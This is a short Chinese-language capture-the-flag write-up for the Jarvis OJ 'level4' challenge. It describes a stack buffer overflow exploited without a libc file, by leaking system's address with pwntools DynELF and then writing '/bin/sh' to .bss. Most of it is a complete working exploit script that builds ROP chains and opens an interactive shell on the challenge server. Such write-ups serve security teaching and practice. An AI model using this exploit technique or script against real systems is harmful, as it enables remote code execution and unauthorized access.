这题与level3的区别就是level4之中并没有提供libc文件,所以不能像level3一样利用libc来泄露地址,这题考察的点是要我们借助pwntools里面的DynELF模块实现无libc的泄漏,这个利用的前提是level4中存在可以泄漏libc空间信息的漏洞,并且漏洞可以被反复的触发。所以我们可以利用write函数来泄露system的地址,通过泄露打印出system的地址,然后找出.bss段的地址,将参数binsh传入bss段之中,通过system函数来打开shell,这里有一个很坑的点,就是他的服务器的有一个5s的时间的限制,所以如果你的脚本的算法复杂度太高,那么时间一到就会返回time out的错误,所以尽量在脚本之中将能简化的都拿来简化。
from pwn import *
p = remote('pwn2.jarvisoj.com',9880)
elf = ELF('level4')
write_got = 0x0804A018
write_plt = 0x08048340
start = 0x08048350
data_addr = 0x0804a024
read_plt = elf.symbols['read']
junk = 'a'*(0x88+4)
def leak(address):
payload = junk + p32(write_plt) + p32(start) + p32(1) + p32(address) + p32(4)
p.sendline(payload)
leaked = p.recv(4)
print "[%s] -> [%s] = [%s]" % (hex(address), hex(u32(leaked)), repr(leaked))
return leaked
d = DynELF(leak,elf=ELF('./level4'))
system_addr = d.lookup('system', 'libc')
print "[system()] -> [%s]" % (hex(system_addr))
payload = junk + p32(read_plt) + p32(start) + p32(0)+ p32(data_addr) + p32(8)
p.send(payload)
p.send('/bin/sh\x00')
payload = junk + p32(system_addr) + p32(0xdeadbeef) + p32(data_addr)
p.sendline(payload)
p.interactive()